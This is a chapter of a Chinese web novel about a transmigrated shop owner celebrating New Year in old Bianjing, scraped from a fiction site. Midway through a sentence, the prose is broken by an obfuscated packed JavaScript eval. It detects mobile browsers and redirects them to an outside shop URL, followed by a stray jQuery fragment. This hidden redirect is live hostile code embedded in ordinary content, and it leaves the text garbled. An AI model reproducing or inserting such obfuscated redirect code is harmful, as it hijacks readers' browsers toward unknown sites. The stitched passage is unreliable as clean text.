文趣网 > 其他小说 > 汴京食肆日常 > 46. 第 46 章
    临近过年,寒风骨缝里透着凛冽。

    一口香奶茶铺子外头,却还排着长龙。

    热气腾腾的红茶底熬滚,奶香混着茶香,把整条街都熏得暖洋洋。

    夏昭垚算完最后一笔账,把算盘一推。

    “行了,今日提早打烊。”

    她笑眯眯给秋穗递过去一个红封。

    “放假!一直歇到正月初十!”

    秋穗欢呼一声,差点把手里的抹布扔到房梁上。

    春禾也抿唇笑,眼底全是期盼。

    一旁柜台边上,婉娘正算着自己今年赚了多少钱。

    听见放假,她手上动作没停。

    “东家,我不歇。”

    婉娘抬起头,眼神清明透亮。

    “我孤身一人,回那空荡荡的院子也没意思。”

    “倒不如留在这铺子里赚钱。”

    男人会骗人,誓言会落空,唯独真金白银不会。

    从那吃人的烟花地里熬出来,她比谁都明白这个理。

    夏昭垚看她片刻,没去劝那些场面话。

    “成。”

    她爽快点头,又抽了个更厚的红封塞进婉娘手里。

    “过年期间算你三倍工钱,食材我都给你备足了。”

    婉娘捏着那厚实的红封,眼眶微热,重重点头。

    眨眼便到了大年三十。

    小院里早早挂上了红灯笼,门神贴得端端正正。

    过年要用的福字、窗花、炭火,春禾与秋穗备得足足的。

    等晚上的时候,院门被人敲响。

    樊楼的伙计提着三个巨大的食盒,满脸堆笑立在门外。

    “夏娘子,您定的席面送到了!”

    一层层打开,香气顿时霸道地钻进鼻腔。

    水晶脍晶莹剔透,蜜汁烤鹌鹑滋滋冒油,还有一整只炖得酥烂的八宝肥鸭。

    秋穗眼睛都直了,偷偷咽口水。

    这一套席面,平时也就十贯。

    过年不做饭的人家多,樊楼的生意也好,这价钱硬生生翻了一倍,要整整二十贯。

    夏昭垚付钱时,心头也在滴血。

    但转念一想,自己这大半年赚得盆满钵满,总得享受享受。

    “吃!”

    夏昭垚一挥手,三个姑娘围坐在烧得极旺的炭盆旁。

    果酒倒满,甜丝丝的酒气在暖室里氤氲。

    吃饱喝足,便是漫长的守岁。

    窗外偶尔传来零星的爆竹声,衬得屋内更加宁静。

    秋穗双手捧着热茶,脸颊被炭火烤得红扑扑的。

    “姑娘,现在的日子可真好。”

    她声音里带着些餍足的鼻音。

    “没遇到您前,我别说过年了。”

    秋穗垂下眼,掰着手指头。

    “那时候大雪天还得去井边洗衣裳,双手冻得全是疮。”

    “啥时候都吃不上这样满嘴流油的好饭菜。”

    春禾坐在旁边,往炭盆里添了一块银丝炭。

    “可不是嘛。”

    她脸上带着温和的笑,语气却透着几分沧桑。

    “我原先在那大户人家里头当差使丫鬟。”

    春禾搓了搓指腹上的茧子。

    “那还是我爹娘狠心,东拼西凑花钱托关系送我进去的。”

    “一个月银子倒是不少,能有四贯钱呢。”

    她苦笑一声,摇摇头。

    “可那里头,人根本不叫人。”

    “规矩多得吓死人,主子一个眼神不对,茶水稍微烫了半分,就要去冰天雪地里罚跪,膝盖现在到了阴雨天还疼。”

    春禾抬起头,看向夏昭垚,眼里全是感激。

    “能跟在姑娘身边,不用磕头,不用担惊受怕,这才是人过的日子。”

    夏昭垚静静听着,嘴角噙着一抹柔和的笑。

    她没说话,只是举起酒盏,跟她们轻轻碰了碰。

    清脆的瓷器碰撞声,在夜里格外悦耳。

    看着眼前这古色古香的年夜饭,夏昭垚垂下眸子,咬了一口软糯的甜糕。

    面上稳如老狗,内心却在疯狂咆哮。

    好无聊啊!没有手机的年三十简直是酷刑!

    她盯着忽明忽暗的炭火,思绪已经飞回了现代的沙发上。

    苍天啊,早晓得会穿越,她当年绝对不去网上吐槽春晚没意思!

    什么歌舞杂技,什么相声小品。

    就算是最土味、最尴尬的“咱们一起包饺砸”,她现在也能看得津津有味!

    呜呜呜,没有小品的年夜饭,就像是没有珍珠的奶茶,失去了灵魂。

    夏昭垚愤愤地嚼碎了一块酥肉,仿佛那是导演的脑袋。

    如果老天爷现在给她一台电视机,她愿意吃素三天!

    一夜熬过去,大年初一的太阳照常升起。

    街巷里全是炮竹炸开后的红纸屑,踩上去软绵绵的。

    空气里弥漫着硫磺和香烛的味道。

    到了走亲访友的时候,夏昭垚却犯了难。

    她在这个时代,根本没有正经亲戚。

    二叔夏柏年一家,早早就跑去江南那边讨生活了,山高水远。

    至于朋友,掰着指头都数得过来。

    婉娘在铺子里守着店,此刻估计正忙得脚不沾地。

    薛默过年前就离开了金陵。

    她临走时,给夏昭垚留下厚厚一沓淡蓝色的信笺。

    全是她自己写的新诗词,清丽婉约。

    算来算去,在金陵城里能走动的,竟然只剩下陆砚了。

    一想起那个名字,夏昭垚手指莫名蜷缩了一下。

    灯会那晚,手心粗糙温热的触感,似乎还残留在肌肤上。

    去陆府拜年?

    夏昭垚立刻把这个念头掐灭在摇篮里。

    陆砚毕竟只是未婚夫,还没正式过门,而且陆家二老可都在府上端坐着呢。

    她一个没过门的准儿媳,大年初一贸然拎着礼物上门,实在太显眼了。

    弄不好还会被那帮碎嘴婆子传成“恨嫁心切”。

    不行不行,惹不起躲得起。

    “走!”

    夏昭垚一拍桌子,霍然起身。

    “换上新衣裳,咱们出去玩!”

    她招呼着春禾和秋穗。

    大年初一到初三,官府可是特批不禁赌的。

    这三天,满大街都是玩“关扑”的摊子,平时这可是要挨板子的违法勾当。

    合法赌博的机会,一年就这三天,不凑凑热闹简直对不起自己。

    出了门,主仆三人直奔最热闹的东街。

    两旁的商铺全搭出了彩棚,挂着琳琅满

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17899910|208642||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    目的彩头。

    有飞镖扎铜钱的,有转糖人的,还有扔套圈的。

    吆喝声、欢呼声、懊恼的叹息声交织在一起,鼎沸喧天。

    夏昭垚手里捏着一串铜板,袖子一撸,直接杀入战局。

    她好歹是受过现代物理学熏陶的,算个抛物线还不是手到擒来。

    没一会儿功夫,秋穗怀里就抱满了战利品。

    糖画、泥泥狗、一支木雕簪子,还有两盒上好的胭脂。

    “姑娘太厉害了!”

    秋穗笑得见牙不见眼。

    正得意间,前面一个围得里三层外三层的摊子引起了夏昭垚的注意。

    摊子上摆着一套极精美的白瓷茶具,流光溢彩。

    只是那玩法颇难,要把一枚特制的铜钱,准确无误地投入一个细颈小瓷瓶里。

    此刻,摊子前正站着个穿明黄色窄袖袄裙的少女。

    少女梳着双螺髻,气鼓鼓的,一双杏眼瞪得溜圆。

    “这破瓶子定是做过手脚!”

    沈文淑双手叉腰,大声抗议。

    摊主是个油滑的中年汉子,嘿嘿直乐。

    “小娘子莫要瞎说,别人怎么就能投中?”

    沈文淑不信邪,咬咬牙,从荷包里掏出最后十个大钱。

    “本姑娘熟读兵书,懂得运筹帷幄!”

    她煞有介事地比划了一个瞄准的姿势。

    “刚才那叫诱敌深入,这回定要直捣黄龙!”

    她闭上眼,深沉地一抛。

    “当”的一声脆响。

    铜钱完美地砸在瓶口边缘,弹飞到了街边的烂泥沟里。

    人群发出一阵哄笑。

    沈文淑呆若木鸡,看着空空如也的荷包,欲哭无泪。

    完了。

    姑姑给的压岁钱,半个时辰不到,全输光了。

    这要是回去被发现……

    正当她丧气地准备认输时,旁边伸过来一只白皙修长的手。

    “老板,拿十个钱的。”

    夏昭垚抛过去一小串铜板。

    沈文淑转头,对上夏昭垚的眼睛。

    夏昭垚没看她,只是掂了掂手里的铜钱。

    她眯起眼,评估了一下风向和瓶口的倾斜度。

    这瓶子确实有猫腻,底座被摊主垫高了半寸,正常抛物线绝对会弹出来。

    必须得用巧劲,加点旋转。

    夏昭垚手腕一抖。

    铜钱在半空划出一道诡异的弧线。

    “叮”的一声轻响,清脆悦耳。

    铜钱稳稳当当落入细颈瓶底。

    人群静了一瞬,随即爆发出叫好声。

    摊主脸色一僵,笑容比哭还难看。

    夏昭垚没停,手腕连抖。

    叮、叮、叮!

    十发十中,犹如连珠箭。

    “彩头拿来吧。”

    夏昭垚拍拍手,指着那套白瓷茶具。

    摊主肉疼得直抽气,却只能在众目睽睽之下把东西包好递过去。

    沈文淑在旁边看得下巴都快掉地上了。

    这是什么神仙暗器手法!

    简直比她爹帐下最厉害的斥候还要神准!

    眼看夏昭垚带着两个丫鬟要走,沈文淑如梦初醒,猛地扑上去抱住夏昭垚的胳膊。

    “女侠留步!”